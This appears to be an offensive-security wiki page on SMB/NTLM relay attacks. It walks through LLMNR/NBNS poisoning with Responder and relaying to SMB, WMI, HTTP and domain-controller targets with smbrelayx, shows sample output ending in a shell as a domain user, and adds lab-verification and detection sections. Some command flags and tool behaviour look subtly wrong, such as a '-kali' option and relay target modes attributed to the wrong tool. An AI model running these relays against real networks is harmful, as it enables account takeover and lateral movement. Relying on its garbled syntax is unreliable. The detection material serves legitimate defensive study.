Skip to content
λmaldev wiki/
pagesSMB / NTLM Relay
T1557.001WindowsLinuxNTLMSMBResponderMITM

SMB / NTLM Relay

updated 2026-09-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

NTLM is a challenge-response protocol in which the client proves knowledge of a hash without sending the password. The weakness is that, by default, the client does not bind the response to the server it intended to talk to. An attacker who can sit between the client and the name the client is resolving can answer that name, let the client run the full NTLM exchange against the attacker, and then replay the exchange against a different server that the victim is allowed to authenticate to. The second server sees a valid NTLM response from a valid account and accepts it, without ever knowing the first hop was an impostor.

The practical setup is a name-resolution poison - LLMNR, NBNS or mDNS - that convinces a victim workstation to open an SMB session to the attacker. The attacker then relays the resulting NTLM authentication to a target such as a domain controller, a file server, or a WMI endpoint. If the victim holds local admin on the target, the relay yields execution there; if the target is a DC and WMI is open, it can yield a daemon or a credential dump.

Caution.

The two controls that break a naive relay are SMB signing and channel binding. If the target requires SMB signing, the attacker cannot complete the relayed session without the victim’s signing key. If the service binds the NTLM exchange to the TLS channel or the SPN, the replayed response no longer matches. Enforce both; the relay is the technique that exists because of the gap between them.

The call chain

  1. 1
    Poison name resolution
    The victim queries an LLMNR, NBNS or mDNS name; the attacker answers before the real resolver does.
  2. 2
    Answer the SMB negotiate
    The attacker's SMB server accepts the victim's NTLMSSP negotiate and challenge exchange.
  3. 3
    Relay the authentication
    Forward the victim's NTLM exchange to an SMB, WMI or HTTP endpoint that accepts NTLM.
  4. 4
    Act as the victim
    The target accepts the relayed response; the attacker executes with the victim's rights.

Reference implementation

The canonical tooling is a listener that answers the poisoned name and a relayer that forwards the authentication. Responder handles the first half; impacket’s smbrelayx handles the second.

relay.shshell
# 1. answer LLMNR / NBNS / mDNS and listen for the SMB connection
$ ./Responder -I eth0 -dWa
[SMBD] Service started
[LLMNR] Poisoned: WORKSTATION-01 -> 10.10.14.5
[SMB] Inbound connection (NTLM): WORKSTATION-01\jsmith

# 2. relay that authentication to a target that accepts NTLM
$ smbrelayx.py -kali -no-pass -c 'cmd' 10.10.10.20
[*] Target: 10.10.10.20
[*] Executing: cmd
Microsoft Windows [Version 10.0.19045]
C:\> whoami
corp\jsmith

The same relay can be pointed at WMI or at a specific service instead of a shell, depending on what the victim’s rights allow on the target.

relay_targets.txtshell
# WMI execution against a target where the victim is local admin
$ smbrelayx.py -kali -no-pass -t wmi 10.10.10.20

# HTTP relay to a Windows-Integrated-Auth endpoint
$ smbrelayx.py -kali -no-pass -t http https://intranet.corp.local/login

# a relay to a DC over WMI is the highest-impact outcome in most domains
$ smbrelayx.py -kali -no-pass -t wmi dc01.corp.local

Verifying in the lab

Inside a snapshotted VM, configure a workstation to resolve a short name over LLMNR, run the listener, and watch the NTLM exchange arrive. Confirm the relayed logon on the target with an EID 4624 whose authentication package is NTLM and whose source is the victim, not the operator.

lab_check
# on the target, the logon event is the artifact
# EID 4624: LogonType 3, AuthPackage NTLM, WorkstationName WORKSTATION-01
#          ^ a network logon the user did not initiate  <-- the artifact

Detection

The relay is a network-positioning problem, so the cheapest signals are the name-resolution poison and the NTLM logon that follows it.

NETWORK
LLMNR, NBNS or mDNS queries for short names answered by a source that is not the domain DNS.
ETW-TI
An NTLM authentication from a workstation to a host that does not normally provide SMB or WMI.
BEHAVIOURAL
One account performing NTLM logons to several high-value services within seconds of a relayable response.
WINDOWS EID 4624
A network logon (type 3) using NTLM on a host where Kerberos should be the expected protocol.

Rank them: the LLMNR / NBNS monitor is the earliest continuous control and catches the setup before any authentication happens. The ETW-TI NTLM-to-unexpected-host rule is the highest-fidelity catch for the relay itself and needs a baseline of which hosts legitimately provide SMB or WMI. The EID 4624 rule is the triage confirmation and is useful where network telemetry is thin.

Variants & related

T1550.002Pass the HashThe relay can yield a usable NT hash context; pass-the-hash spends it directly.→T1071.002SMB Named Pipe C2The same SMB transport, used here as the relay target rather than the beacon channel.→T1550.003Pass the TicketThe Kerberos-side alternative; relay works on the NTLM leg, PtT on the ticket leg.→T1558.003KerberoastingOnce the relay yields a foothold, SPN enumeration becomes available as the next step.→
Was this page useful?edit this page ↗